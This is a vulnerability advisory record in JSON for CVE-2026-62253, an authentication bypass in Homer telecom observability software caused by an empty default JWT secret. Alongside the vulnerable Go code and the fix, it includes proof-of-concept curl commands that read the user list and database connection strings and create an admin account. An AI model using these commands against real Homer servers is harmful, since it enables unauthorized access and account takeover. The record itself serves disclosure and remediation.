{"id":"CVE-2026-62253","aliases":["CVE-2026-62253","GHSA-rqcc-94gv-wjm9","GO-2026-6673"],"related":[],"kind":"vulnerability","state":"published","title":"Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default)","summary":"Homer is open source telecom observability software. Prior to version 11.0.283, both JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == \"\"`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated. Version 11.0.283 patches the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Homer is open source telecom observability software. Prior to version 11.0.283, both JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == \"\"`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated. Version 11.0.283 patches the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nBoth JWT middleware functions (`JWTMiddleware` and `JWTMiddlewareV4`) immediately return `next(c)` when `jwtSecret == \"\"`. The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under `/api/v1`, `/api/v3`, and `/api/v4` are completely unauthenticated.\n\n### Details\n**`coordinator/handlers/auth.go` lines 298-304:**\n```go\nfunc (h *Auth) JWTMiddleware() echo.MiddlewareFunc {\n    return func(next echo.HandlerFunc) echo.HandlerFunc {\n        return func(c echo.Context) error {\n            if h.jwtSecret == \"\" {\n                return next(c)  // bypass — no validation performed\n            }\n```\n\n**`coordinator/handlers/auth_v4_helpers.go` lines 177-182:**\n```go\nfunc (h *Auth) JWTMiddlewareV4() echo.MiddlewareFunc {\n    return func(next echo.HandlerFunc) echo.HandlerFunc {\n        return func(c echo.Context) error {\n            if h.jwtSecret == \"\" {\n                return next(c)  // same bypass\n```\n\n**`coordinator/coordinator.go` lines 315-317:**\n```go\nif c.config.JWT.Secret != \"\" {\n    protected.Use(authHandler.JWTMiddleware())  // middleware not even registered when secret is empty\n}\n```\n\n**`config/config.go` line 845:** `Secret` field struct tag has `default:\"\"`.\nThe example config ships a placeholder value, but the Go struct default (used when no config is provided) is empty.\n\n### PoC\n```bash\n# On a default Homer installation (no JWT secret configured), all protected routes are open:\ncurl http://<homer-host>/api/v3/users\n# Returns full user list with no credentials\n\ncurl http://<homer-host>/api/v3/databases\n# Returns all database connection strings\n\ncurl -X POST http://<homer-host>/api/v3/users \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"attacker\",\"password\":\"pw\",\"partid\":10,\"usergroup\":\"admin\"}'\n# Creates a new admin user with no credentials\n```\n\n### Impact\nMissing Authentication for Critical Function (CWE-306). On a default Homer installation with no JWT secret configured, every admin API endpoint is completely unauthenticated. Attackers can read/write all configuration, users, database connections, and stored VoIP call data.\n\n### Fix\nFail closed: if `JWT.Secret` is empty at startup, abort with a fatal error requiring the operator to set a strong secret. Remove the empty-string shortcircuit from both middleware functions:\n```go\nif h.jwtSecret == \"\" {\n    log.Fatal(\"coordinator.jwt.secret must be set to a non-empty value\")\n}\n```\n\nIf possible, please apply for a CVE number when posting.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default) in github.com/sipcapture/homer-app.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/sipcapture/homer-app before v0.0.0-20260625093330-5e90809657c9.","format":"markdown","source":"go"}],"published":"2026-10-07T16:11:00.294Z","modified":"2026-10-20T00:55:52.571Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-306"],"affected":[{"ranges":[{"version":"< 11.0.283","status":"affected"}],"vendor":"sipcapture","product":"homer","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260625093330-5e90809657c9"}],"ecosystem":"Go","package":"github.com/sipcapture/homer-app","purl":"pkg:golang/github.com/sipcapture/homer-app","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/sipcapture/homer-app","purl":"pkg:golang/github.com/sipcapture/homer-app","source":"go"}],"references":[{"url":"https://github.com/sipcapture/homer/security/advisories/GHSA-rqcc-94gv-wjm9","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/sipcapture/homer/pull/839","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/sipcapture/homer/commit/5e90809657c9df321db191a69c6050f873f5646b","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/sipcapture/homer/releases/tag/11.0.283","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/sipcapture/homer","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-10-10T02:35:55.234Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-62253","url":"https://www.cve.org/CVERecord?id=CVE-2026-62253","licence":"CVE Terms of Use","modified":"2026-10-10T02:36:21.763Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-rqcc-94gv-wjm9","url":"https://github.com/advisories/GHSA-rqcc-94gv-wjm9","licence":"CC-BY-4.0","modified":"2026-10-20T00:55:52.571Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-6673","url":"https://pkg.go.dev/vuln/GO-2026-6673","licence":"CC-BY-4.0","modified":"2026-10-20T00:45:10.116Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-62253","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62253","licence":"Public domain","modified":"2026-10-10T03:17:07.570Z"}],"updatedAt":"2026-11-25T22:59:43.059Z","epss":{"score":0.02311,"percentile":0.84139,"date":"2026-11-30T12:00:22.000Z"}}